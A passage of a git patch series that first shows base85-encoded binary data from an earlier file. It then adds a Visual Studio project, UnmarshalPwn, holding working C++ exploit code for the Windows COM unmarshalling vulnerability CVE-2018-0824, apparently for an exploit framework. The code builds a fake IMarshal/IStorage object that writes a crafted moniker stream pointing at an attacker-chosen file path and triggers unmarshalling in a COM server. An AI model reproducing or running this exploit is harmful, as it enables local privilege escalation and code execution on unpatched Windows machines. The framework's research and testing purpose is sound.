z=2-I4G7rj0iI&><%ee%+8nGrYRq*-*>gk}+Jt}X%J-YVq*)zi)#YakhJstRtQTBYi ze53U|qxAgc8?86GeC@m*qxIOR`i@l(9WEN}7qUa~n`mfM+tNAmV$v9GN?uR>9=U!D zIoUA>$my8cf)e?X{DynJEC~1;DDmsz9vq+{vw;%wIr$g&))9JHYnHA_sJYvubPuGr zJNwOxW*okfG}0Dsz`IZ_8-^!A`mM$DigHUaR~jMPP;A;dLa@=e4b#Gc{Eemgwh<>b z*sn<0z~@XOPRzF$^Q1C$;V%*S@dMC`wCqg0G=%=M`8Jc?mS~igOsXKztq{1ZNLn_h zUoSAtuwGGdBHq4ify{vpDPL=6zMBO`_elA88+~-ZlXHQ2k>Py2hSrvwC~aNAeN4_% ztIglE8J}QqOzkp1Eh{@QCv7oZHZ)2m3G+wjttCC>NZCy!Q;m>iNSCTd$w;UfB};=W z2{JWME=vZ9m~Nz=lt=mqnO@3651HgksUG?qy4EmKFNYM(BW033%LrMvWY0cQCh0jK zV?Rat@FHJZF6OAX?8$WhAph z7SK;pNS32iuuYga@@uak8B^hY6AGD}r8H-7P@YovvNFvy1=B_2IFG;oSF2#%nCxK? zNd97a1v9|Rd~2ySKT#`fO*KH4M1542NoAz0{!tRbf>>C}covo%Vi7_VEF@W>m1QBa zOgbOV!mJ^dS*TyIF^siiGwTN+Cww=HA=C3@m@@?E#3hBWxD*vrRt8zd85DX|w!pei z3V2JOd=Gd4V~`S!MM}>BXQBR-t_PCzEI+;jexR{`FHL@tc$xK)Gn8xwJ_^PeLs?9U zl7(a`yt-7(OOOxUXFS~YM;sGl<-ALQlLnh#dNn=p2m~7czOqR+b%O*e; zjy!PA3R#fAf|lUgsbOrYEtE|)D%sTR@oZ{J2%DNb*&BCZ2vZv)p^y3>2(nP!_n}PG zNu~Q=j$G#nK;qQ=_yugZqw^o|jd!PkRPWzlV;$*r@eOvL14%D#K^W5*V_1B4G*hQU zu?dHjz7VgRp9T5d!t>K|`>*m1bXgkt`g?(t;-bc}P+>AtXc;5_rE~wuXCcG&l%M~Y z%0lHL^x(4*x;3NwNDeR)x@I7ykXf?MRX|E+pj7TK1q-VT(fjif@Pp3NvZh!j8)CIW zR4|Lmn`ntJOwfm;Jd`M(&`BX|654qZ+Idn|xTOo57pV+aB{FvHY{V1fOK1h{4mcJ< zQNBFbz>jDvtx{jqO6_+iY*ITWz^|}Hc`Ue?v6n$l!xkZ4qs0_@AdL|##t42$J0c~N zMI?vd8|h#coANS?6*^c5=|m}6R5l3XDk^HCcY-C{KsMu&LNA|cRI$k^lUUSc5tX6d z@fOnWS}nKzCXD0*AkrmV3>2igjz?Wl=j3pUFgc7(&Yl1p;cRkpluzZI=qCGd3FBC# z@S;@4Ls^(p2IJZpVQfZ9G@D_a>Qj3sdt%&CmPmt2FWZ~|o8fGdHQW-aMl3rVqxIK) z5Yc1GWsJRux)TcH$FcEuj?+`02#pX}#FBGay4UDfHuNDAsz1r?Zz=B$uCP}zsU7Q-4Pq&5gX!@1L_@z zxMZ7z*ff#FWk(o2EHY?T_?Tz&K%k={M z|2gjJREi6hqD?@A!^dOz+26J|LC?c=PZG`!XR}ih*=+m}?g%fVUkX#g*p%!THU;ry z%7JJf-WB4GuuL!rv%=Y|l$mT6ejNC`YsfEtqWgsneLGaaLX(5hdvMMlFF7g{L2Mk_ zTVW6^(sk1PM#;jma6h8!4k+}(^a*UbEu2k9Jf4ntJRReHdUBj^iZ|9R^<|8;Nf>L= z_>jh482VEvi%RBWPaTFB9KqBWH)`~Gbykco%8ULeGOORolmf{Ls=cViL1N@V0h>0oiTS6F1u!XV&^p6Dej|B9O zgk(IXCcol*B##9Z7%K$r6|Adk6Fj5&-u_=v__+$A(dBhgnePBHER$0(Hp zLz>5(0Kck2n94Shso)1y~;O2Bi0w1wZ~BjlLh9 zC5<=Bcmu^wlxcw+L!oU1JU=Z*!fyuBx zxpI;|bW~ZcdYrMRKn|3p8#tElzIhDyDV*EnFYkDPjmKDvj6tm6^9rh`zkatrg}Dmo z3BP`nf<;-w^+LG7!t=(?WBN0UT?q2$F;+P~#b))tg8Vwty$R*;=lfbMV{d|Jyhup# z0x>rZ@ixvnd{5BJ_X@h-Ok|VK$ql$n9-}k{QBJupA3|S#1AY0m5q;T9_YsQG#%PSG zNEUS%^`m=sa)?&$0~65)BG3mgFRG*%kGPJq#3Ikw1CjC=uEZFov20c7$Et7W%P0fL zU*EBG?#20M{(;W>I4`{N_w8grXMKPjd3>O}#!3D%d*krs=|lleZ+esVmbP*6w9rM`%-*{f8e)R_${_F(mQ(Wgm@U64tl}gx8iYM zu}#6a4aiG~VzFNIvw)cC?<3d$fw6Z$@A|KwpkNcM!DISAq>HfIeu|IR0aY>l-rc7m1dsRMYdcxdFX-rcLv5?QCxd7$>sAoLt8J~5|H*vE= z5esf+(LxqG7Y*b%=un_PTtIOpissno*{1juDb0({#V3Cmk9Onp+UIyV6+XvP65{By z2mEi9=RR?lU~X>gN4fhDhkYzuFXw5&KC7|%-8IJ<>-_9opOWT*T7Q2)nD(WYkxCYc zaU5xlz_R*KH)fy)(uK>}c0pk4Fweb$>mCFDw}9iZ{L_n10!l;^|JaSY0OKEJjYU~w zd&Bj^eL-rkNW^Ltn{+tbf;z1oQKvQM*C~hEkK%ZiLK`;^b1LC$7U2u`hI-E3Imx~o zZ71C~g$xF-7-r!!x6-zpRbamVGAJFjn>8nl&FN2LGY&0d(b+4QG9?|GK1b=$bw`%6 zk8zC&G2Beop$vh?LUag=#=SHe_tNO(Nfv32WD8+ajKP>I1)+V$u_?Y-uk0&%PU3Hi z`)3R6=b-iezNy4_8Hm4Q`SmU6CC(98iND>Zg`xc?uxXgTOiQL5qCJuBNyGP|zs(ic z%y|O4*KeEVZYfjPlmjEjk3448-#cdG=7q9p*%gXuDGw^93HK@F2q2FU9X@l%T^i12 zWJ(GSHqA0z(;1Cz#aqn zeKeNeBbEqk70B;*=`-UJ>R*^^V2%=oIZ80*C<67B${=mr9LyKZxCaU|nDlwh5UdU2 zF~x%tO8qwqpBKZ&v2b%R8~-a_Zo2m>aDJMSO~V{-8v4{U^r>mdG5QgoZv*Cbx8QT) ztsp1bn2?e*pN_(30O=kua_m2~MqnNy=o3o%{%aDXL+MX^lFU2t-Ph%&??Wj0uhW3nMv`P?vT&Ja)b-x+^7W)` zz&y&FM=|f5>=ww{HgP<}@fgQ1IWq3Y7>v=m|!Ep}9Fpj6W-U*IJIR1*`evXfGypN-uBYn>vm?9KdH&sx) zdAYTu2y3p`9+p;;om;wPm8odC)nsD#pF3V$SXh#eZ~BCltOd4h zj8#Cswzwcbv!u{;S@L{iVIjLAbJ^mx+5CXLGcL0vKetfwMYFKH#9EYVTV*OO#X>f0 zfa{dca?kuWD9cuumTR$l6pei7R}E~AtmlvtNzH66;Tx0*_E8OsQgR`Kbvgp2BlR!b`> zLp7`{{(S2hMy3gnW}C4l&j=wqMbb6f@N}~%8*A1Umr}SJ=;!_RVBu3M(Jg z(UH`j+XRBlf;?+3I^?tDP3jtpjYf2cQjA#i?pz~3zswGgAC=q1C^rFSup#SFJrntf z-FB{p==gf9XT%kG!ZLfoaF5(}PDeH&Sv@8o=QJ#-M8jql6q^>aKaP^DXV;HILs+C@ zvy~DrS9LX6lzP}Ui-|psab0A|wbBw%1U2N}HZC)5Rjy_Dc$=`C;#Ofvsfq2B_~ixG zQpti;mI_IBJ%%nBUC-`C?}Xn9jA_)g81?K$D%;{T%v~R+yl+^xiuhkkCDv1CWeZ8Z ztoXJ9Ye{ht29}(8DN3_n^7vS%rc!STII%9*T9BJZCAfjktg#LI{1{o6O=hFcu=)#< z@Ig&pVys43URYLYrYbBc+qB7KMQeU3`?Rx|4v|J&EZW)zWXk@`oHEq zh94cKIWo;!iRg~LK!ZO4$(by#_YC8*Af|8xoF1NI2g*kCf@ZYjhdEZj?)T5Q|Mff+ ziLx*LbqnXNr*)%BkpHtt#a;4xOnHca%c+_w@hW=SP>_p&q-us=H-> zRNNz@s!Ybw*Z-qqN2F|D8zW=dKe}Mld1@a@ezAjvg;AfUT@!v8VeL44%)4{jowK;G z{=a0Vs!qmT&v?%gr@O-;p$q!2*Bq%R#7_o`1+Pi23q z?yi=WF^|Y&*!~?=(iN+N5tEPo_?U)mJa)^m{LDoEvZYHy8YWIQy}Bge;RY{@!k(`5!LWzsLOlk@q%a1Wpcr(;UQQyP8GE!!u{{eRzVYd#gX^Kj&& z4`MxP*&P>;{FVgY-ymL7a!Y^N^52fqFV7$8uleHQbv8`THx}R%flkN9I-i$o+?Y#W zs_05>M(9u)OV8y0D&QaJN%pMP+-)1Nka%OEsd%%^?7w6zyQDwb_E>t$bGMk}eOJ7Y zW0!Mn2LBp{w8pTrHiK{P`rh+=^WXQJU$-&8q-djwHh!He2l?#(heYeN?*h>}+zQ~k zpgrI{z$APhz85@wS6&1nIekao%K3Jne;q2}ay$oVfezt~AUAlzH#krDKIjPKUf^Cl zt2zN5d(zlKtouyw#a=OB8;J77UO5&s1@AP09Q)L695z*h|MsKx7B|>DY@P(!riO_6HE@U|$^@C>1+oUV1ijeJaAkBW2%1G0d57wgRcNS3(|r=2pj@Ydl6o6fy~bZe#ZF|zp@gz7jQy~EGIk) z(n6;Tc}eU75of76}TBhI(vX0fXF62Q~&I0tYw7G3E-`ZP+#yi;A0@te-e1}HHf08 z;b-83AiA~!*v@$$kX?)Z3>_8FDWX4vC!}8kC4Ksp&ks5O5wJlg`^N=51Cr_poUvHu zHNX{|PY2!#qVhO^uYkxuhkzF^k>zuN7cE7s8N^;r;3-fxc*2*KG4>?*gTU!4(T?CX z!0R*7U%~5v53jZ?b9<8Ef`BjgnXTmm`)-U4g~`M|q@<2N7% zf!6>p1F<3WF<_Yi{TsX;_yvf{-~-OfWo*$I#0Q`vA9kP<1Z)D4Pg;O$jWWLvILCw- z1^pyoC+7(_Y?9@K-*BFOg!_I_JoNVfL(J%J;FZ7{5Y?*|_XStY8%EN>>Ibk4v5M|`1lUSc0lJz;PyN4j2t>UfV!QseZrHVeUNtpTX!KgLcbk& z`&}}>1Gs*-Y%>S=B}no=@VTGL^5=oe@0QD!4lK9_V-j`>f$PiRAK1?Uego=)oZZXV z04Nds5b&=1;Ail=fxRFV_pVCJi&Rw30GZjf^dYP7v_LHjHQR9^k5W z_!hh#*!(Q+q2Qkf<{gmdZ${vqpdFC!2L2XAHe;TH4v5;w2;2=KIbkj53FDua=M{vv zfT&)Dz@`_V2b(Rx4?uKn7cllk#DB=uz}rBiZwFR`s0_8hcRB9?W_I8=5g^Y7{^2FW zaPVEgQy|hOyyRuXJ@9jZ1)vRQQ3l|%pcwGa1EXKT{#EcXz)wM5=$`-v9hA#Mcm~uB z`B`B8tGw>OIj_ll67W3`mDvNl=a;g)9QZnj>UaovlJnibIJc}H4_w80J@AD$ppWu& z0DpE!uH#ehk&t1W&3L2Hjp%z1Lk}n+aYv;s0@T(fat#I177+E zZXft3&{CAS8+d0I$_;)u(D)&)1yA@o$PE4v@Y-W?UOM3YAgb41;1SLf#{W^4rvghj zzX!PUBe^_#fp2_*a*|D8o)=}Kyns`V<8}>R13dN_?0kzk3Gl`f@)+3wJO!c{Nci4K zlo>i6U}ZP%kKp$LGe1XP1y9%lqBbS$;aKK`+=(OWc_&HlOXC>gk2!&ON7%Id2?`0{0)H0rcYvQJ!9S3n0G_-E zcENW8g-c{U2x!Av-gd|de}px?N#G4YS{IuGK5%_3t($%CGPEb;gkOME3I+24$EV2U zR03b%d!2$Hb`6N?q65ARqPlzp{6#AK06QJPE)ex|!r52Jd=k*kdEG+z zT!anip8|fULw^VV5wL8r?9X!Gmmsq51LiKld;vN}U~ro3A0_ZtAky&yr!7U>K_?#g zA&APHvRq)duRxnX&e8=|45G4GfJZ?ckaqzqGvs{t0$*8)IzsLR>aT-s@Prl+-TMeb zGST-SR|0PWQUBZkw1db$gjcLWp9il88bCwPcLIL{qR-czz@vKHH?UT=3mCGR`yV(P zMCD8Z)`DW7L-+=WRmo{;vz5Kl<^SBNL1eImpY(jE!o326@m z@r1NqpLjxA7fw7Ots^I%kk(`qPxub!Y27vbo&?GNll~bG$iG{m##C&iHsT`$+A-vz zK?nmlN56lNh>$Qk{q2=sE)wlUg&O>hT`AV7U6XL>d~JfpL`&MRlIog-wb{$(r6y=- zHK#GRu%y^@O~N))X@YodMA)L-(o$1VUg0(k3>24MlTcYq1n!2_WVD->4U@2rb!4>-KDD0Mx{2 zDOkJ}Yuo%b%r={4;erL+(esBLJs*x8LhN@YOx<*rzRHLm)twWb@ z^{heJplVPzXd03lv<;~Zx`y-yeM3%zp~2i>X|Ojq8p<0g8um3f8(aA?Q=O@E?2v& z!{v5$x;(Bfm)F(p^0|gwtWnvhYE(CB8j~8ejj4^g#`H#gV@{)?(cEZhv^P2$%Nr{i z_cb~jU5)LH9gXhB&PGoo{BOZL4t~*B8>%hU_G(9Ud38ngzG`Q+tGc7wUENvjsqU&K zulcH#@S5y1T}^t8s!m-ednUC`$Gu~yGuK(_>~)U1^16z;eRa+{S6zEuN1eN_v(8i3 zRfks~)cNX$>R7$9URAHI*VHG~7q25w&uXog!*H_fwxhQDP}2_7vI{jFs#BtFNvKyk>SRWZ%268^ zdQB&KOgDOq5Xn7Y}y%R0o zjn-D8rIXOg>1bgyTDKf6>q4t`Hg+|3Hx4x_o77E7O{q=kO*u{GCVNwP)4nEGQ%6&0 zQ&&@W(@>MLS>2q}oZ6h;oYQP>wl|lXv_5KoN6=rcRBjD3q8BD+P9yzsoFGc+BRLA zzRl2PX>+tyv^m?_+uUuQHgB7+4Ihr^KgyzVYMff9&Z&1AoEE3US>bd#+nsKw$LV$Y zoUBS!rK!?Z>8kWqhAK;yqpG6HS=C z`4Ej%h(_8P9b%E8#)4Q>fjHD&<3=3v*7y*GRJEE~ZLO|WUu&qf)H-S_YMr(1weDI^ zt+&=!%j#4ZiCT<8eVqa0&w;V$#JF=~%y}{17{;0g<4lJ!X21w@V01YV#oUNsUPLd3 z$fZHl(jj6Q5Um`DR8B-GHzJf5(TO24X%Llkh)4!RBL^ap6H&;G2;@cdVTe2$L>(O> zjselefk@*-lyM`%cpH61ZUQqkgUX>W12cv`$Iz82Q1 zYSpx&oxJ!w2%tFquScRTIUcJNYy)g*oeuP+ZuFxh^dUQsjT8|rW5(ps5!neZbT_I{ ScQb0;jvAxB|4IMr9{4}~Vw5@n literal 0 HcmV?d00001 From 47afa21b5ff983a4ce137dc9f23b628e1e1b7aa7 Mon Sep 17 00:00:00 2001 From: 7echSec <26090453+pr4tik@users.noreply.github.com> Date: Tue, 18 Sep 2018 19:59:30 +0530 Subject: [PATCH 06/20] Added Unmarshal visual studio project --- .../exploits/CVE-2018-0824/UnmarshalPwn.cpp | 419 ++++++++++++++++++ .../CVE-2018-0824/UnmarshalPwn.vcxproj | 165 +++++++ .../UnmarshalPwn.vcxproj.filters | 33 ++ .../source/exploits/CVE-2018-0824/stdafx.cpp | Bin 0 -> 600 bytes .../source/exploits/CVE-2018-0824/stdafx.h | Bin 0 -> 642 bytes .../source/exploits/CVE-2018-0824/targetver.h | Bin 0 -> 630 bytes 6 files changed, 617 insertions(+) create mode 100644 external/source/exploits/CVE-2018-0824/UnmarshalPwn.cpp create mode 100644 external/source/exploits/CVE-2018-0824/UnmarshalPwn.vcxproj create mode 100644 external/source/exploits/CVE-2018-0824/UnmarshalPwn.vcxproj.filters create mode 100644 external/source/exploits/CVE-2018-0824/stdafx.cpp create mode 100644 external/source/exploits/CVE-2018-0824/stdafx.h create mode 100644 external/source/exploits/CVE-2018-0824/targetver.h diff --git a/external/source/exploits/CVE-2018-0824/UnmarshalPwn.cpp b/external/source/exploits/CVE-2018-0824/UnmarshalPwn.cpp new file mode 100644 index 0000000000..113feb0a88 --- /dev/null +++ b/external/source/exploits/CVE-2018-0824/UnmarshalPwn.cpp @@ -0,0 +1,419 @@ +// UnmarshalPwn.cpp : Defines the entry point for the console application. +// + +#include "stdafx.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#pragma comment(lib, "shlwapi.lib") + +GUID marshalInterceptorGUID = { 0xecabafcb,0x7f19,0x11d2,{ 0x97,0x8e,0x00,0x00,0xf8,0x75,0x7e,0x2a } }; +GUID compositeMonikerGUID = { 0x00000309,0x0000,0x0000,{ 0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46 } }; +UINT header[] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; +UINT monikers[] = { 0x02,0x00,0x00,0x00 }; +GUID newMonikerGUID = { 0xecabafc6,0x7f19,0x11d2,{ 0x97,0x8e,0x00,0x00,0xf8,0x75,0x7e,0x2a } }; +GUID random; +OLECHAR* randomString; + +static bstr_t IIDToBSTR(REFIID riid) +{ + LPOLESTR str; + bstr_t ret = "Unknown"; + if (SUCCEEDED(StringFromIID(riid, &str))) + { + ret = str; + CoTaskMemFree(str); + } + return ret; +} + +unsigned char const* GuidToByteArray(GUID const& g) +{ + return reinterpret_cast(&g); +} + +class FakeObject : public IMarshal, public IStorage +{ + LONG m_lRefCount; + IStoragePtr _stg; + wchar_t *pFilePath = NULL; + +public: + //Constructor, Destructor + FakeObject(IStoragePtr storage, wchar_t *pValue) { + _stg = storage; + m_lRefCount = 1; + pFilePath = pValue; + } + + ~FakeObject() {}; + + //IUnknown + HRESULT __stdcall QueryInterface(REFIID riid, LPVOID *ppvObj) + { + if (riid == __uuidof(IUnknown)) + { + printf("Query for IUnknown\n"); + *ppvObj = this; + } + else if (riid == __uuidof(IStorage)) + { + printf("Query for IStorage\n"); + *ppvObj = static_cast(this); + } + else if (riid == __uuidof(IMarshal)) + { + printf("Query for IMarshal\n"); + *ppvObj = static_cast(this); + } + else + { + printf("Unknown IID: %ls %p\n", IIDToBSTR(riid).GetBSTR(), this); + *ppvObj = NULL; + return E_NOINTERFACE; + } + + ((IUnknown*)*ppvObj)->AddRef(); + return NOERROR; + } + + ULONG __stdcall AddRef() + { + return InterlockedIncrement(&m_lRefCount); + } + + ULONG __stdcall Release() + { + ULONG ulCount = InterlockedDecrement(&m_lRefCount); + + if (0 == ulCount) + { + delete this; + } + + return ulCount; + } + + virtual HRESULT STDMETHODCALLTYPE CreateStream( + /* [string][in] */ __RPC__in_string const OLECHAR *pwcsName, + /* [in] */ DWORD grfMode, + /* [in] */ DWORD reserved1, + /* [in] */ DWORD reserved2, + /* [out] */ __RPC__deref_out_opt IStream **ppstm) { + printf("Call: CreateStream\n"); + return _stg->CreateStream(pwcsName, grfMode, reserved1, reserved2, ppstm); + + } + + virtual /* [local] */ HRESULT STDMETHODCALLTYPE OpenStream( + /* [annotation][string][in] */ + _In_z_ const OLECHAR *pwcsName, + /* [annotation][unique][in] */ + _Reserved_ void *reserved1, + /* [in] */ DWORD grfMode, + /* [in] */ DWORD reserved2, + /* [annotation][out] */ + _Outptr_ IStream **ppstm) { + printf("Call: OpenStream\n"); + _stg->OpenStream(pwcsName, reserved1, grfMode, reserved2, ppstm); + return S_OK; + } + + virtual HRESULT STDMETHODCALLTYPE CreateStorage( + /* [string][in] */ __RPC__in_string const OLECHAR *pwcsName, + /* [in] */ DWORD grfMode, + /* [in] */ DWORD reserved1, + /* [in] */ DWORD reserved2, + /* [out] */ __RPC__deref_out_opt IStorage **ppstg) { + printf("Call: CreateStorage\n"); + _stg->CreateStorage(pwcsName, grfMode, reserved1, reserved2, ppstg); + return S_OK; + } + + virtual HRESULT STDMETHODCALLTYPE OpenStorage( + /* [string][unique][in] */ __RPC__in_opt_string const OLECHAR *pwcsName, + /* [unique][in] */ __RPC__in_opt IStorage *pstgPriority, + /* [in] */ DWORD grfMode, + /* [unique][in] */ __RPC__deref_opt_in_opt SNB snbExclude, + /* [in] */ DWORD reserved, + /* [out] */ __RPC__deref_out_opt IStorage **ppstg) { + printf("Call: OpenStorage\n"); + _stg->OpenStorage(pwcsName, pstgPriority, grfMode, snbExclude, reserved, ppstg); + return S_OK; + } + + virtual /* [local] */ HRESULT STDMETHODCALLTYPE CopyTo( + /* [in] */ DWORD ciidExclude, + /* [annotation][size_is][unique][in] */ + _In_reads_opt_(ciidExclude) const IID *rgiidExclude, + /* [annotation][unique][in] */ + _In_opt_ SNB snbExclude, + /* [annotation][unique][in] */ + _In_ IStorage *pstgDest) { + printf("Call: CopyTo\n"); + _stg->CopyTo(ciidExclude, rgiidExclude, snbExclude, pstgDest); + return S_OK; + } + + virtual HRESULT STDMETHODCALLTYPE MoveElementTo( + /* [string][in] */ __RPC__in_string const OLECHAR *pwcsName, + /* [unique][in] */ __RPC__in_opt IStorage *pstgDest, + /* [string][in] */ __RPC__in_string const OLECHAR *pwcsNewName, + /* [in] */ DWORD grfFlags) { + printf("Call: MoveElementTo\n"); + _stg->MoveElementTo(pwcsName, pstgDest, pwcsNewName, grfFlags); + return S_OK; + } + + virtual HRESULT STDMETHODCALLTYPE Commit( + /* [in] */ DWORD grfCommitFlags) { + printf("Call: Commit\n"); + _stg->Commit(grfCommitFlags); + return S_OK; + } + + virtual HRESULT STDMETHODCALLTYPE Revert(void) { + printf("Call: Revert\n"); + return S_OK; + } + + virtual /* [local] */ HRESULT STDMETHODCALLTYPE EnumElements( + /* [annotation][in] */ + _Reserved_ DWORD reserved1, + /* [annotation][size_is][unique][in] */ + _Reserved_ void *reserved2, + /* [annotation][in] */ + _Reserved_ DWORD reserved3, + /* [annotation][out] */ + _Outptr_ IEnumSTATSTG **ppenum) { + printf("Call: EnumElements\n"); + _stg->EnumElements(reserved1, reserved2, reserved3, ppenum); + return S_OK; + } + + virtual HRESULT STDMETHODCALLTYPE DestroyElement( + /* [string][in] */ __RPC__in_string const OLECHAR *pwcsName) { + printf("Call: DestroyElement\n"); + _stg->DestroyElement(pwcsName); + return S_OK; + } + + virtual HRESULT STDMETHODCALLTYPE RenameElement( + /* [string][in] */ __RPC__in_string const OLECHAR *pwcsOldName, + /* [string][in] */ __RPC__in_string const OLECHAR *pwcsNewName) { + printf("Call: RenameElement\n"); + return S_OK; + + }; + + virtual HRESULT STDMETHODCALLTYPE SetElementTimes( + /* [string][unique][in] */ __RPC__in_opt_string const OLECHAR *pwcsName, + /* [unique][in] */ __RPC__in_opt const FILETIME *pctime, + /* [unique][in] */ __RPC__in_opt const FILETIME *patime, + /* [unique][in] */ __RPC__in_opt const FILETIME *pmtime) { + printf("Call: SetElementTimes\n"); + return S_OK; + } + + virtual HRESULT STDMETHODCALLTYPE SetClass( + /* [in] */ __RPC__in REFCLSID clsid) { + printf("Call: SetClass\n"); + return S_OK; + } + + virtual HRESULT STDMETHODCALLTYPE SetStateBits( + /* [in] */ DWORD grfStateBits, + /* [in] */ DWORD grfMask) { + printf("Call: SetStateBits\n"); + return S_OK; + } + + virtual HRESULT STDMETHODCALLTYPE Stat( + /* [out] */ __RPC__out STATSTG *pstatstg, + /* [in] */ DWORD grfStatFlag) { + printf("Call: Stat\n"); + HRESULT hr = 0; + size_t len = 0; + + len = wcsnlen_s(randomString, MAX_PATH) + 1; + PWCHAR s = (PWCHAR)CoTaskMemAlloc(len * sizeof(WCHAR)); + wcscpy_s(s, len, randomString); + pstatstg[0].pwcsName = s; + hr = _stg->Stat(pstatstg, grfStatFlag); + printf("End: Stat\n"); + return S_OK; + } + + virtual HRESULT STDMETHODCALLTYPE GetUnmarshalClass( + /* [annotation][in] */ + _In_ REFIID riid, + /* [annotation][unique][in] */ + _In_opt_ void *pv, + /* [annotation][in] */ + _In_ DWORD dwDestContext, + /* [annotation][unique][in] */ + _Reserved_ void *pvDestContext, + /* [annotation][in] */ + _In_ DWORD mshlflags, + /* [annotation][out] */ + _Out_ CLSID *pCid) + { + printf("Call: GetUnmarshalClass\n"); + *pCid = marshalInterceptorGUID; // ECABAFCB-7F19-11D2-978E-0000F8757E2A + return S_OK; + } + + virtual HRESULT STDMETHODCALLTYPE GetMarshalSizeMax( + /* [annotation][in] */ + _In_ REFIID riid, + /* [annotation][unique][in] */ + _In_opt_ void *pv, + /* [annotation][in] */ + _In_ DWORD dwDestContext, + /* [annotation][unique][in] */ + _Reserved_ void *pvDestContext, + /* [annotation][in] */ + _In_ DWORD mshlflags, + /* [annotation][out] */ + _Out_ DWORD *pSize) + { + printf("Call: GetMarshalSizeMax\n"); + *pSize = 1024; + return S_OK; + } + + virtual HRESULT STDMETHODCALLTYPE MarshalInterface( + /* [annotation][unique][in] */ + _In_ IStream *pStm, + /* [annotation][in] */ + _In_ REFIID riid, + /* [annotation][unique][in] */ + _In_opt_ void *pv, + /* [annotation][in] */ + _In_ DWORD dwDestContext, + /* [annotation][unique][in] */ + _Reserved_ void *pvDestContext, + /* [annotation][in] */ + _In_ DWORD mshlflags) + { + printf("Call: MarshalInterface\n"); + ULONG written = 0; + HRESULT hr = 0; + pStm->Write(header, 12, &written); + pStm->Write(GuidToByteArray(marshalInterceptorGUID), 16, &written); + + IMonikerPtr fileMoniker; + IMonikerPtr newMoniker; + IBindCtxPtr context; + + pStm->Write(monikers, 4, &written); + pStm->Write(GuidToByteArray(compositeMonikerGUID), 16, &written); + pStm->Write(monikers, 4, &written); + hr = CreateBindCtx(0, &context); + hr = CreateFileMoniker(pFilePath, &fileMoniker); + hr = CoCreateInstance(newMonikerGUID, NULL, CLSCTX_ALL, IID_IUnknown, (LPVOID*)&newMoniker); + hr = OleSaveToStream(fileMoniker, pStm); + hr = OleSaveToStream(newMoniker, pStm); + return S_OK; + } + + virtual HRESULT STDMETHODCALLTYPE UnmarshalInterface( + /* [annotation][unique][in] */ + _In_ IStream *pStm, + /* [annotation][in] */ + _In_ REFIID riid, + /* [annotation][out] */ + _Outptr_ void **ppv) + { + printf("Call: UnmarshalInterface\n"); + return E_NOTIMPL; + } + + virtual HRESULT STDMETHODCALLTYPE ReleaseMarshalData( + /* [annotation][unique][in] */ + _In_ IStream *pStm) + { + printf("Call: ReleaseMarshalData\n"); + return S_OK; + } + + virtual HRESULT STDMETHODCALLTYPE DisconnectObject( + /* [annotation][in] */ + _In_ DWORD dwReserved) + { + printf("Call: DisconnectObject\n"); + return S_OK; + } +}; + +static HRESULT Check(HRESULT hr) +{ + if (FAILED(hr)) + { + throw _com_error(hr); + } + return hr; +} + +void Exploit(wchar_t *pValue) +{ + HRESULT hr = 0; + IStoragePtr storage = nullptr; + MULTI_QI* qi = new MULTI_QI[1]; + + GUID target_GUID = { 0x7d096c5f,0xac08,0x4f1f,{ 0xbe,0xb7,0x5c,0x22,0xc5,0x17,0xce,0x39 } }; + hr = CoCreateGuid(&random); + + StringFromCLSID(random, &randomString); + StgCreateDocfile(randomString, STGM_CREATE | STGM_READWRITE | STGM_SHARE_EXCLUSIVE, 0, &storage); + + IStoragePtr pFake = new FakeObject(storage, pValue); + + qi[0].pIID = &IID_IUnknown; + qi[0].pItf = NULL; + qi[0].hr = 0; + + CoGetInstanceFromIStorage(NULL, &target_GUID, NULL, CLSCTX_LOCAL_SERVER, pFake, 1, qi); + +} + +class CoInit +{ +public: + CoInit() + { + Check(CoInitialize(nullptr)); + Check(CoInitializeSecurity(nullptr, -1, nullptr, nullptr, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, NULL, nullptr)); + } + + ~CoInit() + { + CoUninitialize(); + } +}; + + +int wmain(int argc, wchar_t** argv) +{ + try + { + CoInit ci; + + Exploit(argv[1]); + + } + catch (const _com_error& err) + { + printf("Error: %ls\n", err.ErrorMessage()); + } + + return 0; +} diff --git a/external/source/exploits/CVE-2018-0824/UnmarshalPwn.vcxproj b/external/source/exploits/CVE-2018-0824/UnmarshalPwn.vcxproj new file mode 100644 index 0000000000..85e36ac8c9 --- /dev/null +++ b/external/source/exploits/CVE-2018-0824/UnmarshalPwn.vcxproj @@ -0,0 +1,165 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 15.0 + {A6D839B1-7270-4632-BD2E-733A6061E91B} + Win32Proj + UnmarshalPwn + 10.0.16299.0 + + + + Application + true + v141 + Unicode + + + Application + false + v141 + true + Unicode + + + Application + true + v141 + Unicode + + + Application + false + v141 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + Use + Level3 + Disabled + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Use + Level3 + Disabled + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Use + Level3 + MaxSpeed + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Use + Level3 + MaxSpeed + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + Create + Create + Create + Create + + + + + + + \ No newline at end of file diff --git a/external/source/exploits/CVE-2018-0824/UnmarshalPwn.vcxproj.filters b/external/source/exploits/CVE-2018-0824/UnmarshalPwn.vcxproj.filters new file mode 100644 index 0000000000..1f95f5b0cc --- /dev/null +++ b/external/source/exploits/CVE-2018-0824/UnmarshalPwn.vcxproj.filters @@ -0,0 +1,33 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + \ No newline at end of file diff --git 